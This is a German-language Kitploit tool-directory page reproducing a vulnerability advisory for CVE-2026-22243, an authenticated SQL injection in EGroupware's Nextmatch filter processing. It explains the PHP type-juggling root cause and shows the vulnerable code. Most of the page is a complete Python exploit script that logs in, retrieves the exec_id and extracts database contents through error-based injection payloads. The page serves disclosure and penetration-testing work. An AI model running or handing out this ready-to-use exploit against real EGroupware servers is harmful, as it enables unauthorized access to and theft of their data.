Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware weist eine SQL-Injection in der Nextmatch-Filterverarbeitung auf. | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-22243
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware weist eine SQL-Injection in der Nextmatch-Filterverarbeitung auf.

Repository anzeigen
14vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22243: SQL-Injection in der Nextmatch-Filterverarbeitung von EGroupware

Übersicht

FeldDetails
CVE-IDCVE-2026-22243
SchweregradHOCH
AdvisoryAdvisory ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • egroupware/egroupware (Versionen: < 23.1.20260113)
  • egroupware/egroupware (Versionen: >= 26.0.20251208, < 26.0.20260113)

CWE-Klassifizierung

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

Zusammenfassung

Kritische authentifizierte SQL-Injection in der Filterverarbeitung des Nextmatch-Widgets

In den Kernkomponenten von EGroupware besteht eine kritische SQL-Injection-Schwachstelle, insbesondere in der Filterverarbeitung von Nextmatch. Der Fehler ermöglicht es authentifizierten Angreifern, beliebige SQL-Befehle in die WHERE-Klausel von Datenbankabfragen einzuschleusen. Dies wird erreicht, indem ein PHP-Type-Juggling-Problem ausgenutzt wird, bei dem die JSON-Dekodierung numerische Zeichenketten in Ganzzahlen umwandelt und so die von der Anwendung verwendete is_int()-Sicherheitsprüfung umgeht.

Details

Ursachenanalyse Die Schwachstelle liegt darin, wie die Datenbankabstraktionsschicht (Api\Db) und die übergeordneten Speicherklassen (Api\Storage\Base, infolog_so) das in „Nextmatch“-Widgets verwendete col_filter-Array verarbeiten.

Die Anwendung versucht, Eingaben mithilfe von is_int($key) zu validieren, um zu bestimmen, ob ein Array-Schlüssel ein rohes SQL-Fragment darstellt, dem vertraut werden sollte. Bei der Verarbeitung JSON-basierter POST-Anfragen konvertiert die PHP-Funktion json_decode jedoch automatisch numerische Zeichenkettenschlüssel (z. B. "0") in native Ganzzahlen.

Folglich kann ein Angreifer eine JSON-Nutzlast mit einem assoziativen Array senden, das numerische Schlüssel enthält. Die Anwendung interpretiert diese Schlüssel als Ganzzahlen (is_int gibt true zurück) und fügt die zugehörigen Werte – die bösartiges SQL enthalten – blind direkt an die Abfrage an.

Verwundbare Codestellen

  1. Datei: sources/egroupware/api/src/Db.php (ca. Zeile 1776) Methode: column_data_implode
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Datei: sources/egroupware/api/src/Storage/Base.php (ca. Zeile 1134) Methode: parse_search
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

Ich habe diese Schwachstelle auf einer lokalen Docker-Instanz verifiziert und sie (nur lesend) auf Ihrer öffentlichen Demo-Instanz (demo.egroupware.net) bestätigt.

Automatisiertes Exploit-Skript: Das folgende Skript automatisiert den Login, die Extraktion der exec_id und die Datenexfiltration über fehlerbasierte SQL-Injection.

import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"
Tool herunterladen